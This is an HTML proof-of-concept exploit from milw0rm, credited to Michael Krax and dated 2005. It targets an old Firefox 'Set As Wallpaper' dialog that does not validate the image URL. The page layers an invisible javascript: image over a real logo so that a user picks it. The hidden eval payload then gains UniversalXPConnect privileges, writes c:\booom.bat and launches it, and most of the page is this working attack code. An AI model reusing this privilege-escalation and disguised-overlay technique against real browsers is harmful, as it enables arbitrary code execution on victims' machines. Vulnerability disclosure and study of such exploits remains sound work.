// Exploit by Michael Krax
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<title>Firewalling - Proof-of-Concept</title>
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function stopload() {
// in some cases the javascript url never stops to load
// therefore we force a stop after the real image got loaded
window.setTimeout("window.stop()",1000);
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Firewalling - Proof-of-Concept</div>
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The "Set As Wallpaper" dialog takes the image url as a parameter without validating it.
This allows to execute javascript in chrome and to run arbitrary code.
<br><br>
By using absolute positioning and the moz-opacity filter an attacker can easily fool the
user to think he is setting a valid image as wallpaper.
<br><br>
Right click on the image and choose "Set As Wallpaper". The demo requests
UniversalXPConnect rights, creates c:\booom.bat and launches the batch file
that shows a directoy listing in a dos box (Windows only).
<br><br>

<div style="position:relative; width:300px; height:250px;">
<img src="javascript:/*-----------------------------*/eval('if(document.location.href.
substr(0,6)==\'chrome\'){netscape.security.PrivilegeManager.enablePrivilege(\'
UniversalXPConnect\');file=Components.classes[\'@mozilla.org/file/local;1\'].
createInstance(Components.interfaces.nsILocalFile);file.initWithPath(\'c:\\\\
booom.bat\');file.createUnique(Components.interfaces.nsIFile.NORMAL_FILE_TYPE,
420);outputStream=Components.classes[\'@mozilla.org/network/file-output-stream;
1\'].createInstance(Components.interfaces.nsIFileOutputStream);outputStream.init
(file,0x04|0x08|0x20,420,0);output=\'@ECHO OFF\\n:BEGIN\\nCLS\\nDIR\\nPAUSE
\\n:END\';outputStream.write(output,output.length);outputStream.close();file.launch
();}else{void(0)}')" width="300" height="250" alt="" border="0" style="position:
absolute; left:0px; top:0px; z-index:2; -moz-opacity:0;">
<img src="http://www.milw0rm.com/images/logo.png" width="300" height="250" alt="" border="0" style="position:
absolute; left:0px; top:0px; z-index:1;" onload="stopload()">
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# milw0rm.com [2005-07-13]
